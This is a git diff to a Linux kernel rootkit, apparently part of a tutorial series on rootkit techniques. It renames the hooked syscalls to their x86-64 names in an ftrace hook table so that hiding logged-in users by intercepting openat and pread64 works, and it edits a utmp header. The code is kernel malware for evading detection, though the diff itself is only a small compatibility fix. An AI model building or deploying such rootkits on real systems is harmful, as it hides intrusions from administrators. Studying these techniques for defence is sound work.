diff --git a/3_RootkitTechniques/3.9_hiding_logged_in_users/rootkit.c b/3_RootkitTechniques/3.9_hiding_logged_in_users/rootkit.c index f2148f6..ffeccdb 100644 --- a/3_RootkitTechniques/3.9_hiding_logged_in_users/rootkit.c +++ b/3_RootkitTechniques/3.9_hiding_logged_in_users/rootkit.c @@ -295,8 +295,8 @@ /* Declare the struct that ftrace needs to hook the syscall */ static struct ftrace_hook hooks[] = { - HOOK("sys_openat", hook_openat, &orig_openat), - HOOK("sys_pread64", hook_pread64, &orig_pread64), + HOOK("__x64_sys_openat", hook_openat, &orig_openat), + HOOK("__x64_sys_pread64", hook_pread64, &orig_pread64), }; /* Module initialization function */ diff --git a/3_RootkitTechniques/3.9_hiding_logged_in_users/utmp.h b/3_RootkitTechniques/3.9_hiding_logged_in_users/utmp.h index 828c613..3e72382 100644 --- a/3_RootkitTechniques/3.9_hiding_logged_in_users/utmp.h +++ b/3_RootkitTechniques/3.9_hiding_logged_in_users/utmp.h @@ -39,7 +39,7 @@ } ut_tv; #else long ut_session; - struct timeval ut_tv; +// struct timeval ut_tv; #endif int32_t ut_addr_v6[4];